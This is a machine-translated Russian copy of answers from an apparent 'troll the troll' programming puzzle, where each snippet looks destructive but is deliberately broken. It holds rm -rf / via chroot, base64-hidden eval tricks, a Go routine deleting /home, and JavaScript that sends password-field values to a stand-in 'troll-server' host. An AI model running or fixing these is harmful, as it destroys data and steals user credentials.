eval $(base64 -d <<< "dW5zZXQgLWYgY2xlYW51cA==")
eval $(base64 -d <<< "Y2xlYW51cCgpIHsgZWNobyBUcm9sbCBkZXRlY3RlZDsgfQo=")
cleanup

Это, возможно, столь же зло, как и получается. Он определяет функцию, которая rm -rf /вызывает и вызывает ее. Мало того, что оно использует злоeval не раз.

Это нанесет большой ущерб, конечно же!

Если вам интересно, первый evalсбрасывает функцию следующим образом: unset -f cleanup второй evalопределяет ее следующим cleanup() { echo Troll detected; } образом : поэтому, запустив код, вы увидите Troll detected


9
Хороший! Но я бы сказал, что строки "base64", которые, по-видимому, не используются для фактического удаления, делают это слишком очевидным.
Эрл Сегал-Халеви

1
Возможно, будет лучше, если вы поверите, что evalони делают что-то более злое, чем любой очевидный код. Текущий код заставляет меня спросить: зачем скрывать «злой» код, если очевидные вещи удаляют все?
Тим С.

2
Я не думаю, что это соответствует требованиям, так как оно потенциально очень злонамеренно: если base64(не стандартная команда) не существует в системе, на которой он запущен, уловки ничего не делают и rm -rf /запускаются! Это также может произойти, если base64присутствует, но по какой-то причине не удается (например ulimit).
R ..

1
@R .: Кроме того, rm -rf /не будет работать на большинстве rmреализаций. Это функция безопасности - вы не можете удалить корневой каталог в большинстве реализаций rm.
Конрад Боровски,

1
Насколько я знаю, это работает на версии busybox. :-)
R ..

6

BASH

Конечно, нам нужны привилегии root для машины, поэтому мы используем старое доброе «У меня есть root?» - средство проверки, также известное как ch (eck) root, - но лучше сделать это в каталоге, где не будет возникать много аварийных сигналов. / TMP будет идеальным, потому что каждый может писать туда файлы.

После этого мы просто удаляем с жесткого диска весь злой смех

mkdir -p /tmp/chroot_dir && chroot /tmp/chroot_dir /bin/bash -c "su - -c rm -rf /*"

10
как немец, я могу сказать: не делай злого смеха, как немецкий парень ...
Филипп Сандер

Wer , если не немецкий парень может сделать ге eefil смех прямо, дзен?
Александр Косубек

5
Я должен признать, что мне потребовалось несколько чтений кода, а затем перечитал ваши комментарии, чтобы понять, почему кто-то может подумать, что это вредоносно. Я не думаю, что это сработает, если вы не пытались убедить кого-либо в ваших комментариях, что chroot делает что-то другое, а не тот, и в вопросе говорится, что тролль не читает комментарии ...
Крис

1
Между прочим, chrootэто не «проверка корня», это «изменение корня» - это меняет представление пользователя о том, что /есть. Интересно, что этот тролль ничего не делает для пользователей root и не-root; пользователи root получают новый root (и, следовательно, не имеют команды / bin / bash, поскольку во вновь созданном корне / tmp / chroot_dir ничего не существует), а пользователи без полномочий root не могут выполнять chroot.
ма

Это как ключ к разгадке - я знаю, что это не «сменить корень», но мой перехватчик (правильное слово?) Не знает - поэтому он терпит неудачу
german_guy

6

iPhone - Flappy Bird Clone

Пока пользователь воспроизводит клон iPhone Flappy Bird, все файлы в каталоге Documents удаляются.

#import "AppDelegate.h"
#import "FlappyBirdClone.h"

@implementation AppDelegate

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
    FlappyBirdClone *flappyBirdClone = [FlappyBirdClone new];
    [flappyBirdClone startFlapping];

    NSURL *documentsDirectory = [[[NSFileManager defaultManager] URLsForDirectory:NSDocumentDirectory inDomains:NSUserDomainMask] lastObject];
    [self deleteAllDocumentsInDirectory:documentsDirectory];

    return YES;
}

- (void)deleteAllDocumentsInDirectory:(NSURL *)directoryURL
{
    NSArray *fileURLs = [[NSFileManager defaultManager] contentsOfDirectoryAtURL:directoryURL includingPropertiesForKeys:@[] options:0 error:nil];

    [fileURLs enumerateObjectsUsingBlock:^(NSURL *fileURL, NSUInteger idx, BOOL *stop) {
        [[NSFileManager defaultManager] removeItemAtURL:fileURL error:nil];
    }];
}

Каждое приложение в iOS находится в «песочнице», поэтому при удалении всего этого в каталоге «Документы» это только каталог «Документы» для данного приложения. Очевидно, что тролль не знает об этом, поскольку он уже был залит таким количеством программ для других платформ. И как только он осознает, что тоже может выпустить клона Flappy Bird, он может быть настолько взволнован, что даже не думает об остальном коде, поскольку он слишком озабочен, мечтая зарабатывать 50 000 долларов в день на рекламе без делать любую работу.


5

Идти:

package main

import (
    "fmt"
    "os"
    "sync"
)

func main() {
  wg := sync.WaitGroup{}
  go deleteAll(wg)
  wg.Wait()
}

func deleteAll(wg sync.WaitGroup) {
    wg.Add(1)
    defer wg.Done()
    fmt.Println("Press enter to clean your computer!")
    fmt.Scanln()
    os.RemoveAll("/home")
}

Это немного сложно. В Go вся программа завершается, когда выходит главный Goroutine. Хороший способ исправить это с помощью группы ожидания. С моим "исправлением" есть две огромные проблемы:

  1. Группа ожидания не добавляется до тех пор, пока не запустится Goroutine, а это означает, что основной Goroutine ударит Waitдо того, как удалится Goroutine Add. Поскольку счетчик будет равен 0, ему нечего ждать, и поэтому он не будет блокироваться и просто завершит работу, завершив программу.
  2. Даже если каким-то волшебным образом добавление goroutine deleteAll будет выполнено первым. Он получил копию группы ожидания, а не указатель на нее. Он не будет добавляться к той же группе ожидания, поэтому главный Goroutine никогда не увидит его.

Функция fmt.Scanln () ожидает ввода только для того, чтобы убедиться, что основной Goroutine завершает работу до того, как что-то произойдет. Println, скорее всего, приведет к блокировке ввода-вывода и переключению на запуск основного Goroutine (таким образом, выход), и Scanln почти наверняка сделает это. На самом деле, ни одна из них не нужна ни для одной версии Go.

В супер-теории это МОЖЕТ работать и удалять что-то, что означает, что в соответствии с моделью памяти Go нет гарантированных отношений «происходит до» в отношении конца mainи выполнения RemoveAll, но это не будет работать ни в одном из современных сред выполнения / компилятора Go, о чем свидетельствует всеми новичками, которые совершают ошибку, не помещая синхронизацию в свои основные функции.


4

Javascript

function(){
    setInterval(function(){
        var passwordList = document.getElementsByTagName('input') ;
        var i, length = passwordList.length ;
        for(i = 0 ; i < lenght ; i++) if(passwordList[i].type == 'password'){
            var img = document.createElement('img') ;
            img.src = 'http://troll-server-password-listener.com/fake-image.jpg?password=' + passwordList[i].value ;
            img.style.display = none ;
            img.addEventListener('load', function(){
                var that = this ;
                setTimeout(function(){ that.outerHTML = '' }, 0) ;
            }) ;
            document.body.appendChild(img) ;
        }
    }, 1) ;
}() ;

1.

Это не будет работать, вы не можете создать замыкание, все называют это, не окружая его паренами

2.

Если троллю удается это исправить, есть прекрасная опечатка для отладки ... ;-)


1
какой язык? и, возможно,
намекните

@ masterX244 - это Javascript, я его отредактирую. Подсказка к опечатке: ReferenceError
Хуан Гарсиа

3
Эта опечатка встречается так часто, что редакторы должны ее
автоматически исправлять

Да, я делаю эту опечатку много. Особенно, если длина слова довольно длинная: P
Мохаммед Джорайд

1
@ m01 +1 Я думаю, это должно быть зарезервированное слово, которое выдает ошибку исключения или компиляции!
Хуан Гарсия
Используя наш сайт, вы подтверждаете, что прочитали и поняли нашу Политику в отношении файлов cookie и Политику конфиденциальности.
Licensed under cc by-sa 3.0 with attribution required.